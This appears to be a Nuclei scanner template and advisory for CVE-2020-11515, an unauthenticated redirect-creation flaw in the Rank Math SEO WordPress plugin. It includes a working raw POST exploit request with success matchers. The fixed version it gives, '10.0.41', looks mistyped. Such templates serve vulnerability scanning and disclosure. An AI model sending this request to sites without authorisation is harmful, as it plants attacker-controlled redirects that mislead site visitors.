The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
PoC代码[已公开]
id: CVE-2020-11515
info:
name: Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint
author: s4e-io
severity: medium
description: |
The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
remediation: Fixed in 10.0.41.
reference:
- https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
- https://rankmath.com/changelog/
- https://wordpress.org/plugins/seo-by-rank-math/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-11515
cwe-id: CWE-601
epss-score: 0.00857
epss-percentile: 0.74202
cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: rankmath
product: seo
framework: wordpress
publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
tags: cve,cve2020,wordpress,wordfence,redirect,seo-by-rank-math,wp-plugin,wp
http:
- raw:
- |
POST /wp-json/rankmath/v1/updateRedirection HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"redirectionUrl": "http://{{to_lower(rand_text_alpha(20))}}.{{to_lower(rand_text_alpha(5))}}",
"redirectionSources": "/{{to_lower(rand_text_alpha(10))}}",
"hasRedirect": "true"
}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "update","Redirection updated successfully.")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100b6d82b5dcc4aebfd691e748bd2b9160778053c06560e5d05180b62ca441d17cd02207ba4dc4619f88aa6199903183f7c00a5aa7e0e9074a63a192a42279070cfb191:922c64590222798bb761d5b6d8e72950